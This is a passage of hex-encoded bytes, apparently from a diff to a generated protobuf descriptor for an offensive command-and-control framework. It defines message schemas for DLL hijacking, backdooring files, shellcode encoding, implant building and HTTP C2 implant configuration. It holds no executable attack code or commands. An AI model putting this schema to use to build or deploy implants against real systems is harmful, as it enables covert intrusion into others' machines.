0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, + 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, + 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, + 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, + 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0xf1, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, + 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x4a, 0x04, 0x08, 0x05, 0x10, 0x06, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, + 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xd9, + 0x02, 0x0a, 0x17, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x41, 0x72, 0x63, 0x68, 0x4d, 0x61, 0x70, 0x12, 0x4b, 0x0a, 0x08, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2f, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x72, 0x63, 0x68, 0x4d, 0x61, 0x70, 0x2e, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x72, 0x63, 0x68, 0x4d, 0x61, 0x70, + 0x2e, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x0c, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x44, 0x65, 0x73, + 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xbe, 0x01, 0x0a, 0x13, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, + 0x61, 0x70, 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, + 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x5e, 0x0a, 0x0d, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x37, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x72, 0x63, 0x68, 0x4d, 0x61, 0x70, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x7c, 0x0a, 0x13, 0x45, + 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x41, 0x0a, 0x0d, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x43, 0x32, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x63, + 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, + 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x76, 0x65, 0x72, 0x77, 0x72, 0x69, 0x74, 0x65, 0x12, + 0x32, 0x0a, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x08, 0x43, 0x32, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x22, 0xd3, 0x01, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x43, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x0d, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0xbc, 0x01, 0x0a, 0x12, 0x48, 0x54, + 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x32, 0x0a, 0x14, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x14, + 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, + 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, + 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x52, + 0x07, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x73, 0x22, 0xbc, 0x05, 0x0a, 0x13, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x12, 0x1c, 0x0a, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x09, 0x55, 0x73, 0x65, 0x72, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x2c, + 0x0a, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65, 0x42, 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x43, 0x68, 0x72, 0x6f, 0x6d, + 0x65, 0x42, 0x61, 0x73, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, + 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x61, 0x63, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x2e, 0x0a, 0x12, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, + 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x4e, 0x6f, + 0x6e, 0x63, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x41, 0x72, 0x67, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x12, 0x4c, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x72, 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, + 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x55, 0x52, + 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x52, 0x12, 0x45, 0x78, 0x74, 0x72, + 0x61, 0x55, 0x52, 0x4c, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x73, 0x12, 0x30, + 0x0a, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, + 0x32, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x07, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, + 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x47, 0x65, 0x6e, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x47, 0x65, 0x6e, + 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x47, 0x65, 0x6e, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x4d, 0x69, 0x6e, 0x46, 0x69, 0x6c, 0x65, 0x47, 0x65, 0x6e, + 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x47, 0x65, 0x6e, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x4d, 0x61, 0x78, 0x50, 0x61, 0x74, 0x68, 0x47, 0x65, 0x6e, + 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 